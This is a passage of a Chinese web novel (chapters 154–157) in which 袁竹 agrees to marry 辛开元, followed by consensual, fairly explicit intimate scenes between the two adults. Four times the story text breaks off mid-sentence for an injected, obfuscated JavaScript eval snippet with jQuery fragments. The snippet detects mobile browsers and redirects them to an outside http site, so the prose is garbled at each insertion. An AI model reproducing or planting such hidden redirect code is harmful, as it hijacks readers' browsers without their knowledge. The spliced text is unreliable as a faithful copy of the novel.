袁竹出了门,往辛开元的房子走去,路上遇到回袁家的学生,都开心地跟她打着招呼,她问了辛开元的情况,大家都说不知道。 进了院门,袁竹看到里面没多少学生了,除了正在往外走的,就只有几个人还在跟着箫悦笙在训练场上跑步,她没有看到姜佑安,心中越发不安起来,快步来到辛开元的房门前。 房门虚掩着,里面没有任何声音传出来,袁竹轻轻推开门,“辛老师,你在吗?” 辛开元从卧室里走出来,惊喜地问道:“袁娘子?你怎么来了?” 见他不像是生病的样子,袁竹悬着的心终于放了下来,“我听说你病了,过来看看。” “多谢你记挂着我。”辛开元开心地笑了,走过去拉着袁竹的胳膊,让她在堂屋的椅子上坐下,“这会儿天凉了,要不要喝点儿热茶暖暖?” “不用了,你没事就好。”袁竹从怀里拿出两个橘子来,正要递给辛开元,就看在一旁的方桌上摆着五六个橘子,“邵老师也来给你送橘子了?” 辛开元搬来了竹椅,坐在袁竹的身边,“是,邵老师见我中午没过去吃饭,就过来看看,顺便拿了几个橘子给我。” “你中午没吃饭?身上真的不舒服吗?要不要找郎中来看看?”袁竹关心地问道。 “我没事,吃了这个就好了。”辛开元拿过袁竹手里的橘子,剥开了自己吃了一瓣,又拿了一瓣递到袁竹的唇边,笑着说道:“酸酸甜甜的,味道不错,你也尝尝。” 袁竹张开嘴,含住那瓣橘子,咬破表皮吃了下去,确实酸甜可口。 “真的没事吗?我听阮荷说你下午都没有去上课,中午也没吃饭,吃了这酸的,更觉得饿了吧,有没有什么想吃的?”袁竹问道。 “真的没事,只是中午没心情吃而已。”辛开元吃完了一个橘子,舔了舔嘴唇,“现在要说想吃的,确实也有。” “你想吃什么?我去给你做。”袁竹说着站起身来。 辛开元随之站了起来,向前环着袁竹的腰,低头吻在了她的唇上。 “我想吃你。”辛开元的双唇摩擦着袁竹的嘴唇,呢喃着说道。 袁竹只当他在开玩笑,双手抵在辛开元的胸口上,轻轻推拒着,“别闹了,先吃点东西吧。” 辛开元趁她张嘴说话,侵入了她的口中,唇齿之间传递着橘子清新的香味。 袁竹用力推开他,“门还在开着。” 辛开元的双臂收紧,弓着身子,低头靠在了袁竹的肩上,有些委屈地说道:“戴老师跟我说,他明年春天就要跟姜院长成亲了。” “有这事?我怎么没听姜佑安提起过。”袁竹说道。 “有,戴老师从不会撒谎的。”辛开元偏过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945742|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蹭了蹭袁竹的脖子,“袁娘子,我想不通,我究竟有什么地方让你不满意,你跟我说,我愿意改。” 颈边传来辛开元闷闷的声音,袁竹觉得痒痒的,身子忍不住抖了一下,她伸手抱住了辛开元的腰,“你就是因为这个才没心情吃饭?” “嗯。”辛开元直起身子,低头看着袁竹的眼睛,“我不知道自己哪里做得不够好,我想知道你对我的看法。” 袁竹难以回答,她垂下眼帘,不敢面对他,“你很好,这是我自己的问题。” “这是我们之间的事,肯定也有我的问题,你不愿意告诉我,是信不过我吗?”辛开元问道。 “没有。”袁竹摇了摇头,心中游移不定,“我,我不知道该怎么跟你说。” 辛开元把袁竹拥入怀中,轻声道歉,“对不起,是我让你为难了。” 袁竹沉默不语,她喜欢辛开元的拥抱,这样安稳的日子要是能一直继续下去就好了。 袁竹想到了县衙里看到的那个身影,如果那个人真的是霍祭太的话,他和县丞、知县勾结,以后肯定会来找麻烦,还不知道到时候会是什么结果,要是日后和辛开元分开,还不如现在跟他坦白,让彼此不留遗憾。 袁竹抱着辛开元,依靠在他胸前,“我身上没什么好事,我怕跟你说,也只会让你不开心。” “我想知道你的过往,哪怕是不开心的。”辛开元温柔地说道。 袁竹推开辛开元,在一旁的椅子上坐了,辛开元坐在她的身边,听她细细讲述着在前夫家的遭遇,辛开元的眉头越皱越紧,胸中燃烧着怒火,眼睛里又有着无尽的心疼。 辛开元握紧了拳头,“他们怎么能这么对你!” “没事的,他人已经死了,一起都过去了。”袁竹把手轻轻覆在辛开元的拳头上,故作轻松地说道。 听到袁竹的安慰,辛开元非常的难过,眼泪从他的眼角滑落下来,“对不起,我什么都不知道,只是一味地逼迫你,我真是太过分了。” 袁竹站起来,俯身把辛开元抱在怀里,声音有些哽咽,“你没有逼我,你一直都对我很好,不用说对不起。” 辛开元抱着她,哭得更大声了,“怪不得戴老师要跟我说那些话,原来只有我不知道。” 袁竹给辛开元擦着眼泪,脸色变得阴沉,“戴老师跟你说什么了?他也知道我的事?” 辛开元赶紧摇头,“没有,他不知道,他说是姜院长让他来的,戴老师告诉我,对待你的时候要有耐心,说话要温柔,动作要轻柔,绝对不能强迫你做你不想做的事。” 知道姜佑安没有泄露她的秘密,袁竹也就放心了,她擦干了辛开元脸上的泪水,轻声问道:“戴老师还说什么了?” “还说他要和姜院长成亲了,日期就定在明年春天。”辛开元撇了撇嘴,“我看他就是故意来跟我炫耀的。” 看到他孩子气的表情,袁竹笑了笑,“你很羡慕他?” “当然了,我从看到你第一眼起,就想跟你成亲了。”辛开元环着袁竹的腰,仰头看着她,“不过,我都听的,你不愿意,我绝不逼你。” 袁竹抬手,轻抚着辛开元的脸,“姜佑安和戴老师春天成亲,那咱们就冬天成亲,怎么样?” 155. 服侍 “真的?”辛开元猛地从椅子上站起身来,差点撞到了袁竹的鼻子,他嘴角抽动了两下,想笑又不敢笑,紧张地舔了舔嘴唇,“你不必为了我这么做,我不是在逼你做选择。” 成亲的话说出来,袁竹心里暗暗松了一口气,看到辛开元这么紧张,她笑了笑,“成亲是可以,不过,夫妻之事,我不一定能做到,这样你也能接受吗?” “我只想让你幸福,那些会让你痛苦的事,我绝对不会做。”辛开元举手保证道。 袁竹揽着辛开元的脖子,凑过去,在他唇边吻了一下,“谢谢你。” 一个轻柔的吻,让辛开元如坠云端,他激动把袁竹拥在怀里,“是我要谢谢你,谢谢你愿意接受我,愿意对我敞开心扉。” 压在她心里的大石头仿佛瞬间消失不见了,袁竹觉得身体都轻盈了许多,她抬头看着辛开元,开心地笑着,“床上的事,我做不了,不过,我很喜欢你亲我。” 辛开元的脸一下子变红了,他搂着袁竹的腰,低头吻在了她的唇上,轻轻地啃咬,肆意地舔舐,袁竹也丝毫不退缩,在紧紧缠绕的唇舌之间,传递着她的爱意。 吻了良久,辛开元才终于放开袁竹,袁竹倚着他,发出轻声地喘息。 听着辛开元的心跳声,袁竹抬头看了辛开元一眼,又低下头,“门,还没关。” 辛开元看到袁竹的脸红红的,是那么的诱人,他不舍地放开袁竹,来到门边,他看到外面的院子里撒满了金色的阳光,太阳就要下山了。 辛开元关上了房门,返身来到袁竹身边,低头亲吻着她的脸,“你该回去吃饭了。” 话是这么说,但辛开元没有一点要放她走的意思,反而紧紧抱着她,一路从脸颊吻到了脖子。 袁竹觉得自己的心跳声很吵,她的手搭在辛开元的肩膀上,犹豫了片刻,向旁边躲了躲,“你还没吃饭,跟我一起回去吧。” 辛开元低头调整着自己的呼吸,“其实戴老师还跟我说了别的事。” “什么事?”袁竹问道。 “姜院长让戴老师过来教我怎么服侍女人,他教了我很多,袁娘子,你愿意尝试一下吗?”辛开元问道。 “什么服侍?我又不是姜佑安那样的大小姐,不用别人服侍。”袁竹说道。 辛开元双手捧起袁竹的脸,他的嘴角带着微笑,“戴老师所说的服侍,不是一般的服侍,我保证不会伤害你,你要是觉得不舒服,我就停下。” 袁竹大概能明白辛开元指的是什么,她有些抗拒,但辛开元的笑脸,让她感觉没有那么恐惧,“我,我不想到床上去。” “我不想让你一跟男人亲近,就想起那些痛苦的事。”辛开元想要确认袁竹是在拒绝还是同意,他凑到袁竹的耳边,轻声问道:“不是床的地方,可以吗?” 袁竹被辛开元温柔的声音安抚住了,她轻轻点了点头。 辛开元放开袁竹,去卧室里抱了被子出来,进到了西屋里,袁竹跟着走了进去,只见房间里有一张竹制躺椅,辛开元正把被子铺在躺椅上,仔细地整理着那些褶皱。 袁竹的心跳得很快,虽然信得过辛开元,却还是难免紧张到浑身紧绷。 辛开元走过来,轻柔地把她抱在怀里,“别害怕,我们只是尝试一下,你随时可以喊停。” 袁竹伸出双臂,紧紧地抱住了辛开元,脸埋在他的胸口,不敢去看他。 “我想知道你真实的感受,不要为了我忍耐,袁娘子,你要是觉得不舒服,一定要告诉我。”辛开元说道。 听着他温柔的声音,袁竹舒了口气,“我,我可能有点儿紧张。” “紧张是正常的,我也很紧张。”辛开元的声音里带着些许笑意,他把袁竹横抱起来,轻轻放在了躺椅上。 背靠着躺椅,袁竹更紧张了,她转过脸看向房门外,想转移一下话题,“刚才门是不是没闩上?” “闩上了。”辛开元双手撑在躺椅的扶手上,俯身吻上了袁竹的唇,袁竹没有动,只是张开嘴,任他亲吻舔舐。 被辛开元压在躺椅上,袁竹无路可退,黏腻的水声像是响在耳边,唇舌的触感和辛开元的呼吸声都让她脸红,她感觉有些舒服,内心又有些焦灼,她不知道自己为什么会有这样的感觉。 听到袁竹的呼息声越来越急促,辛开元放开了她的嘴唇,从唇边吻到耳垂,“还紧张吗?” 袁竹咽了一下口水,“紧张。” “害怕我吗?”辛开元把袁竹的耳垂含在嘴里,用舌头揉捻着。 袁竹的双手抓着辛开元的胳膊,身子微微颤抖,“不害怕。” “那就好。”辛开元抬起一条腿撑在躺椅上,双手移到袁竹身上,轻轻揉捏着她的腰,“你的身体太僵硬了,放松点儿,我不会弄疼你的。” 辛开元的腿就在袁竹的身旁,一个高大的男人几乎覆盖在她身上,她没办法放松,只好把眼睛闭起来。 “你为什么闭上眼睛?”辛开元问道。 袁竹感受着辛开元手指的力度,轻声答道:“看不到,可能就不会紧张了。” “好,袁娘子觉得怎么舒服,就怎么做,我会一直跟你说话,让你知道在你身边的是我。”辛开元语气轻快地说道。 袁竹听到辛开元这么说,她轻声笑了,抬眼看向他,“我当然知道是你,除了你,我不可能答应这种事。” “袁娘子。”辛开元的呼吸一滞,手上不自觉加重了力度。 “嗯。”袁竹忍不住轻哼一声,随后咬住了下唇。 辛开元低头亲吻着袁竹的嘴唇,“对不起,我是不是弄疼你了?” “没有。”袁竹说话时,两个人在嘴唇互相摩擦,气息交融在一起,让她感觉有些心急,“我也不知道是怎么了,你不用管我。” 辛开元起身,认真地看着袁竹的眼睛,“你的感受很重要,我不能不管。” 袁竹脸上烧得厉害,转头避开了辛开元的目光,“我说不用管就不用管,要是觉得不舒服,我会让你停下。” “好。”辛开元答应了一声,双手下移,按摩着袁竹的大腿,袁竹不自觉地笑了出来,推拒着他的胳膊,双腿向右侧挪动,“好痒,别按了。” 辛开元并没有拿开他的手,而是摁住了袁竹的腿,“别动,袁娘子,放轻松,我多按几下你就习惯了,等你习惯了,以后我就经常给你按,你劳作辛苦,多按按身体也能松泛些。” 袁竹紧抿着嘴唇,忍受着辛开元按压揉捏的动作,慢慢的,竟也习惯了,她闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954352|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了眼睛,原来辛开元说的服侍,就是揉捏身体,还挺舒服的。 袁竹的精神和身体都放松下来,躺在躺椅上,随着躺椅轻轻摇晃,一阵困意袭来,让她的意识逐渐模糊了。 迷迷糊糊的,袁竹感觉到辛开元的手在下移,一下一下地揉捏着她的小腿,揉了左腿,又揉右腿,她不禁想到,要是能翻个身,让辛开元按按后背就好了,可惜在躺椅上,翻身不方便。 要是在床上…… 还是算了吧,揉揉腿就挺舒服的了。 袁竹感觉辛开元的手又慢慢上移,按到了她的大腿上,辛开元的手越来越靠上,让她觉得有些痒,她睁开眼,想要告诉辛开元不用再按了,却见辛开元已经停了手,他跪在躺椅的脚踏上,掀开她的衣裙正要往里钻。 袁竹猛然清醒,坐起身来,“你这是做什么?” 辛开元抬起头,冲袁竹笑了笑,“我来服侍袁娘子,你尽管放松躺着。” “不是已经按完了吗?”袁竹将信将疑,却还是躺了下去。 辛开元钻进了裙子里,鼓捣了一阵,继续按摩着她的双腿,“还没完,袁娘子,你觉得我的手艺如何?” 袁竹躺在躺椅上,仰头看着房顶,感觉身体被揉捏得很舒服,她坦诚地答道:“挺好的。” “那我以后经常给你按。”辛开元说完,袁竹就感觉到他的嘴唇印在了自己腿上。 袁竹心里一紧,隔着裙子,抬手摁在他的脑袋上,“你好好按,不要做别的。” “那可不行。”辛开元继续亲吻着,“我要好好服侍你。” 辛开元跪在袁竹两腿之间,头向前探去,用他的双手和唇舌给袁竹按摩。 袁竹手上微微用力,呼吸变得急促起来,“你,你在做什么?” “我在服侍你,袁娘子,放松,不要摁着我。”辛开元含糊不清的声音从袁竹的身前传来。 袁竹拿开手,尽力压抑着自己的呼吸,不让自己发出奇怪的声音,她不明白辛开元在做什么,也不明白她现在的感受是什么,她想让辛开元停下,又怕自己一张嘴,就会尖叫出来。 隔着被子,袁竹紧紧抓住了躺椅的扶手,弓着身子,随着辛开元的动作一阵阵颤栗。 “嗯…你…呼…这样…好奇怪。”袁竹如同溺水一般,艰难地说出破碎的句子。 “不奇怪,袁娘子习惯就好了。”辛开元把着袁竹的腿,有些兴奋地说道。 袁竹整张脸都变得通红,“这…嗯…也是…姜佑安教的?” “是戴老师教我的。”辛开元还在卖力地按摩着。 “都一样!”袁竹有些生气地说道:“她…她整天…嗯…尽胡闹!” “这也是姜院长对你的关心。”辛开元摩挲着袁竹的皮肤,轻轻舔舐吸吮,“别想这些了,袁娘子,专心一点儿。” 袁竹咬住了自己的手指,发出呜咽的声音,绷紧的身子一阵痉挛,而后瘫倒在躺椅上。 辛开元从袁竹的裙底爬出来,看到袁竹脸色潮红地躺在那里,胸口剧烈地起伏,她的手放在唇边,食指上的牙印清晰可见。 辛开元心疼地握起袁竹的手,放在唇边亲吻,他的呼吸短促,透露出急切的渴望,“袁娘子,你感觉怎么样?” 156. 怪话 袁竹在辛开元的呼唤声中回过神来,还有点弄不清发生了什么,“感觉…很好。” “太好了。”辛开元高兴地笑了,手上还在抚摸着袁竹手指上的牙印,半是心疼半是埋怨地说道:“以后可不许咬自己了。” “以后?”袁竹迷茫的眼神逐渐清明,红着脸问道:“你以后还要做这种事?” “当然了!我想服侍你,也想让你舒服,不过…”辛开元拍了拍自己结实的臂膀,“你要是想咬点儿什么东西,可以直接咬我。” “咬…”袁竹觉得嗓子有些干,她咽了一下口水,“这就是你说的服侍?” “是。”辛开元亲吻着袁竹的手指,眼睛里带着笑意,“戴老师说,姜院长告诉他,这样做,女人都会觉得舒服。” 无法面对辛开元的灼灼目光,袁竹侧过脸去,“这个姜佑安,脑子里尽是一些怪想法!” 辛开元轻声笑着,“我到觉得她说的挺对的,你刚才不也说感觉很好吗?” 袁竹咬着下唇,不知道该如何回应。 夕阳落下,房间里正逐渐变得黑暗,辛开元不舍地亲吻着袁竹的手背,“天要黑了,你该回去了。” 想像中的事没有发生,袁竹有些不解,“你,这就好了?” 辛开元却已经理解了袁竹的意思,他俯身把她紧紧地抱在了怀里,“袁娘子,你是个勇敢的人,你把一切都告诉了我,我不会辜负你对我的信任,那些会让你害怕的事,我是不会做的。” 袁竹回抱着辛开元,她无声地笑了,辛开元这样覆盖在她的身上,她并不觉得害怕,“我好像,不是很怕你了。” “那太好了。”辛开元的双膝和双肘支撑在躺椅上,头埋在袁竹的颈侧,亲吻着她的脖子,“要不要我继续服侍你?” 袁竹抬眼看到窗外正慢慢暗下来,“不了,以后再说吧。” 辛开元兴奋地抬起头来,“你是说,我以后还可以继续这样服侍你?” 袁竹垂下眼帘,有些害羞地点了点头。 “太好了,太好了!”辛开元高兴地在袁竹唇上亲了一下,帮袁竹擦了擦身子,给她整理好衣裳,“我送你回去。” “嗯。”袁竹又点了点头。 回到袁家门口,袁竹要辛开元留下吃晚饭,辛开元没有拒绝,此时天色已黑,大家都已经吃过饭准备歇息了,两人盛了饭菜,去袁竹的房间。 两人一边吃饭,一边说起了以后要加强训练的事,吃完饭,袁竹把辛开元送出大门,见辛开元打着灯笼越走越远,袁竹才关上了院门,上了闩。 “你怎么不留他住下?”姜佑安的声音从背后传来,袁竹吓了一跳,慌忙转过身来,“你怎么在这?” 朦胧的月色下,姜佑安的脸看起来模糊不清,但她声音里带着明显的笑意,“晚饭的时候你没回来,我还以为你会在辛老师那里留宿呢。” “你以为谁都跟你一样?”袁竹从姜佑安身边路过,快步走进了垂花门。 姜佑安跟着走进去,关上了门,“是,你跟我不一样,我才没你这么有耐心。” 四下里逐渐安静下来,大家都睡下了,袁竹穿过院子,进了堂屋,看见桌上点着一盏昏暗的油灯,她端起油灯,回了自己的房间,把油灯放在桌子上,在她回身去关门的时候,姜佑安走了进来。 “你今天在这边睡?”袁竹掩上了门,走到脸盆架前去洗脸,盆里有阮荷给她倒好的热水。 姜佑安在桌边坐了,胳膊拄在桌上,手撑着脸,看着袁竹的背影,“我是想看看你会不会把辛老师留下。” 袁竹洗了脸,拿手巾擦了擦,“我留不留他,跟你有什么关系?” “要是辛老师能治好你的心病,我会很高兴。”姜佑安的嘴角带着轻笑。 “这有什么好高兴的。”袁竹把脸盆里的水倒进了洗脚盆里,把盆端到床边,脱了鞋袜洗脚。 姜佑安转过头,借着昏黄的灯光看着袁竹的脸,“有辛老师这么精壮的男人在身边,你却不能享受一下,我觉得挺可惜的。” 袁竹白了姜佑安一眼,“你就爱说这些怪话,以后不要让戴老师去教辛开元那些有的没的。” “什么有的没的?”姜佑安笑起来,“你怎么知道戴老师说了什么?辛老师跟你说了?” 袁竹不好意思告诉姜佑安,不是说了是做了,她微微低下头,掩饰着脸上的红晕,“你怎么能让戴老师去跟辛开元说这种事?” “不能说吗?我是怕辛老师太激动,要是毛毛躁躁的,伤到了你,你就更走不出来了。”姜佑安说道。 “可是,那样,你不觉得很怪吗?”袁竹轻声问道。 “不怪啊,我是尝试过很多次之后,确保不会伤到你,才让戴老师去教他的。”姜佑安认真地说道。 “你…”袁竹低着头,双脚轻轻搅动着盆里的热水,“你的胆子也太大了。” 姜佑安微微一笑,“这有什么,我活在这世上,只为了自己舒服,你也是,自己舒服就好,不要想太多。” 舒服?袁竹想起自己在辛开元的唇舌之下颤抖的情形,不禁抖了一下,她赶忙拿起一旁的擦脚巾,抬起脚来,擦拭着脚上的水,“不跟你说这些了,我要睡了,你晚上睡耳房吗?” “对,我睡耳房。”姜佑安站起身来,“我教给辛老师的那些,你都知道了,你要是信得过我们,可以试试,我保证,比你以往经历的那些要舒服得多。” “知道了,快出去吧。”袁竹敷衍地答道。 姜佑安还站在那里没有走,“我是说认真的,怎么服侍女人,可不是所有男人都知道的,这都是我自己总结出来的,你要是愿意,真的可以试试。” “知道了,知道了。”袁竹穿上鞋,出门去倒水。 姜佑安跟了过去,“想战胜过去的痛苦,是需要很大的勇气的,我知道这很不容易,我不是在逼你,选择权在你手里,我只是担心你,可也不能替你做决定。” “好了,我明白,你别说了,你想把大家都吵醒吗?”袁竹从院子里走回来,拿着空盆进了堂屋。 姜佑安跟到屋门口,没再往里进,“好,我不说了,你好好考虑一下,我回房去了,你也早点儿睡。” 袁竹转过头来,见姜佑安已经走了,她走过去关上了堂屋的门,回到了自己的卧房。 关上房门,脱了衣服,熄了油灯,袁竹躺在了床上,不由自主地,她又想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964974|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天辛开元对她做的事,想起他火热的唇舌、灵活的手指和他结实的双臂。 袁竹越想越觉得口干舌燥,都是姜佑安的错,虽然她已经答应要跟辛开元成亲,可也没想过要做这种事,一个男人俯身趴在她两腿之间,转动着双手给她按摩,真是让人害臊。 可是,那样又很舒服,是她从没有体验过的感觉,辛开元没有做她前夫所做的那些事,只是轻柔地安抚着她,让她激动得不停颤抖,却没有感觉到一丝痛苦。 可能真如姜佑安所说,和男人亲近,并不是那么可怕的事。 想到这里,袁竹摇了摇头,不对,要是别的男人,她也难以接受,是辛开元温柔的眼睛和小心的动作,让她逐渐放下了防备,辛开元很在乎她的感受,不会强迫她接受。 辛开元,想着他的脸,袁竹的嘴角慢慢上扬,转头向身旁看了看,也许他躺在身旁,也不是那么难以接受的事。 闭上眼睛睡去,袁竹做了一个甜蜜的梦,起床后,她心情大好,吃过早饭,和姜佑安道了别,就去花田里干活去了。 在袁竹专心修建枯枝病枝的时候,辛开元来到花田里,说要跟她一起干活。 辛开元在旁边,不时询问着这个残枝需不需要剪,那处的枝条是不是过密了,袁竹的心情竟又紧张了起来,答话的时候都不敢去看辛开元的眼睛。 辛开元察觉到了袁竹的躲闪,故意往她跟前凑,“是这样剪的吗?” 袁竹转头快速看了一眼辛开元手中的枝条,又移开了视线,“对,就是这样剪的。” “我做的好吧。”辛开元带着一脸的笑意,弯腰探身看着袁竹,“袁娘子能不能夸夸我?” 袁竹不敢抬眼,只看到辛开元不断开合的嘴唇,由此想到了他的唇舌舔舐着她肌肤的触感,她的脸红了起来。 “你学得快,干得也好,这片地就交给你了,我家里还有事,先回去了。”袁竹说完,转过身,快步往袁家走去。 “袁娘子!”辛开元在身后连声呼唤,袁竹连头都没回,匆匆进了大门,跑进了二门,进了堂屋,推开房门,走进去之后,赶忙关上了房门。 也不知道是因为奔跑,还是因为别的,袁竹的心跳得很快,她把剪刀扔在地上,三两步走到床边,扑倒在床上。 她本来以为今天看到辛开元会很开心的,没想到竟然会这么心慌,袁竹不明白,自己这是怎么了? 一看到辛开元的眼睛,她就会想起昨天的事,昨天,她怎么能和他做出那种事!袁竹扯过被子,又懊恼又害羞地蒙住了脑袋。 袁竹觉得自己完了,都是辛开元和姜佑安害了她,她原本是个让男人害怕的凶悍妇人,怎么今天变得这么胆小?他辛开元算什么?只是个普通男人而已,自己为什么要怕他? 捂着躁动不安的心,袁竹很是困惑,不是说要跟他成亲吗?这么害怕他怎么行?昨晚不还想着跟他睡在一起吗?连他的眼睛都不敢看,还怎么能躺在一张床上? 正在内心责备自己的袁竹蜷缩在床上,突然听到她房间的门被推开了。 “袁娘子,你怎么了?” 听到辛开元小心翼翼的询问,袁竹的身子顿时一僵,“你怎么来了?” 157. 尝试 辛开元缓步来到了床边,“我看你走得这么急,怕你出了什么事。” “我没事,你出去吧。”被子里传来袁竹闷闷的声音, “没事就好。”辛开元直接了当地问道:“袁娘子,你是不是在躲着我?” “哪有,你多心了。”袁竹尴尬地笑了两声,“我就是觉得困了,想回来补补觉。” 辛开元觉得袁竹蜷缩在床上的姿势不是很舒服,奇怪地问道:“你就这么睡?连鞋都不脱?” “你出去吧,你出去我就脱了。”袁竹说道。 辛开元在床边坐下,伸手抓住了袁竹的脚踝,帮她把鞋子脱了下来。 脚踝被辛开元握住的瞬间,袁竹惊了一下,“别,我自己来就行。” 辛开元不为所动,又把另一只鞋脱下来,摆在床边,“这点小事,你就让我来做吧。” “哦,谢,谢谢。”袁竹紧张地说道。 “你真的没事吗?”辛开元的手搭在了袁竹的脚踝上,轻轻揉捏,“是不是早上干活了?我觉得你身子有些僵硬,我帮你按按,放松一下吧。” 袁竹的脸上烧了起来,她试图移开腿,“不用了,我睡一会儿就好了。” 辛开元一把抓住了她的脚踝,声音有些沮丧,“袁娘子,你是不是后悔了?” 袁竹又是一惊,她想逃离辛开元的手,却又不想面对他的眼睛,“我,没有啊。” “你连看我一眼都不肯,分明就是后悔了,你不用这样躲着我,你要是想反悔,直接跟我说就是了,我不会责怪你的。”辛开元说道。 辛开元的声音很轻,但他难过的情绪却透过声音,重重地砸在袁竹的心上。 浓重的情绪压在心里,袁竹觉得自己真是个浑蛋,辛开元对待自己一片真心,自己这是做什么?为什么要这样伤他的心? 自己做下的事,就要敢作敢当,她才不后悔! 袁竹掀开被子坐了起来,坚定地宣布,“我不后悔!” 辛开元喜出望外,扑过去把她压倒在床上,吻了起来。 在嘴唇被辛开元啃咬的时,袁竹想起好像没有听到房门关上的声音,“嗯…门…嗯…关上…” “关上…关上了…”辛开元一边亲吻一边安抚着她。 袁竹这才放心了,搂着辛开元的脖子,回应着他的吻。 辛开元从唇边吻到耳垂,又从耳垂吻到脖子,才突然想起来,自己现在在她的床上,他慌忙起身,“对不起,我太激动了。” 袁竹轻轻喘息着,眼神有些迷离,“没事,我不怕你。” 看着袁竹红扑扑的脸,辛开元心动不已,俯身亲了亲她的脸颊,“我想服侍你,可以吗?” 袁竹点了点头,“动作轻点儿,外面有人,我不想被人听见。” “好。”辛开元覆在袁竹的唇上,一边亲吻,一边解开了她的衣裳,“会不会冷?” 袁竹在辛开元的抚摸下轻轻颤栗,“有点儿。” 辛开元扯过被子,盖住了袁竹的身子,他去脸盆架旁洗了手,而后也钻进了被子里。 昨天尝试过一次之后,辛开元已经知道按摩哪里会让袁竹更舒服,他自信地施展着手腕,还不断地询问着袁竹的感受,“这样按,舒服吗?” 袁竹双手紧紧抓着被子,呼吸声越来越急促,“别…别问了…” 一只手从被子里伸出来,凑到了袁竹嘴边,“你要想咬,就咬我的手吧。” 袁竹张嘴把辛开元的手指含在了嘴里,却又舍不得咬下去,只轻轻舔舐吸吮着,嘴角漏出细碎的喘息。 辛开元感受着袁竹嘴里的温度和她舌头的舔舐,激动地亲吻着她的身体。 袁竹的身体逐渐紧绷,又骤然放松,连辛开元的手指都从她口中滑落下去。 辛开元从被子里钻出来,搂着她的身子,急切地亲吻着她的双唇,袁竹的身体轻轻颤抖着,没能给他任何回应。 “袁娘子…袁竹…”辛开元在亲吻的间隙轻轻呼唤着。 袁竹探出舌尖,□□着辛开元的嘴唇,“嗯…开元…” 辛开元把她的舌尖含进了嘴里,细细吸吮着,他的身体紧贴在袁竹身上,听着他粗重的呼吸声,袁竹感受到了他强烈的渴求。 “我…嗯…”辛开元牢牢封着袁竹的嘴,让她说不出话来,她只好用力推开了辛开元,一边喘息一边说道:“你…要怎么办?” “我?”辛开元不满足地凑过去,舔舐着袁竹的嘴角,“我没事…你觉得舒服就好。” “不行,也让我做点儿什么吧。”袁竹捧起了辛开元的脸,用手指抚摸着他的脸庞,“我不懂这些,我是不是该去跟姜佑安学一学?” 辛开元先是有些惊讶,接着又笑了起来,他抬手覆在袁竹的手背上,“不用,我来教你就是了。” “先说好,我先试试,要是觉得不行,你就得停下。”袁竹红着脸,却还记得要先做好约定。 “好,我都听你的。”辛开元拿起袁竹的手,在她手心里亲了一下,然后拉低胸口的衣服,把她的手放了进去,“你也帮我按按吧。” 辛开元解开衣服,躺在了床上,袁竹裹着被子跪在他的两侧,轻轻坐在他的腹部上,两手揉捏着他胸膛的精肉。 “这样的力道,还行吗?”袁竹问道。 “行。”辛开元开心地笑着,“袁娘子在帮我按摩身子,真像是在做梦。” 袁竹想起了昨晚的那个梦,印象已经有些模糊,只记得她和辛开元好像很亲近,她也笑了起来,“你做过这样的梦?” “当然。”辛开元舔了舔嘴唇,感觉被袁竹揉捏的地方要着起火来,“不过,梦都是假的,现在坐在我身上的袁娘子却是真的,我觉得很幸福。” “你说话也真是夸张。”袁竹笑着说道。 辛开元抬手指着自己的嘴唇,“袁娘子要是能亲亲我,我就更幸福了。” 袁竹俯身,吻在了他的唇上,辛开元马上搂住了她,把她禁锢在怀里。 袁竹身上的被子滑落下来,辛开元伸手拽过去,把两个人的身子都掩盖了起来。 “你这样,我还怎么按摩?”袁竹在辛开元的臂弯里轻声抱怨道。 辛开元抓着袁竹的手,引导她按在自己身上,“这里,袁娘子,你只按这里就行了。” 抚摸着男人的身体,袁竹突然想到了她的前夫,感觉有些恶心,但还是强忍了下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976100|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,辛开元为她做了那么多,自己忍耐一下也不算什么。 袁竹的膝盖撑在辛开元的身体两侧,头靠在辛开元的胸膛上,把另一只手也伸过去,轻轻按着,“只按就行了吗?” 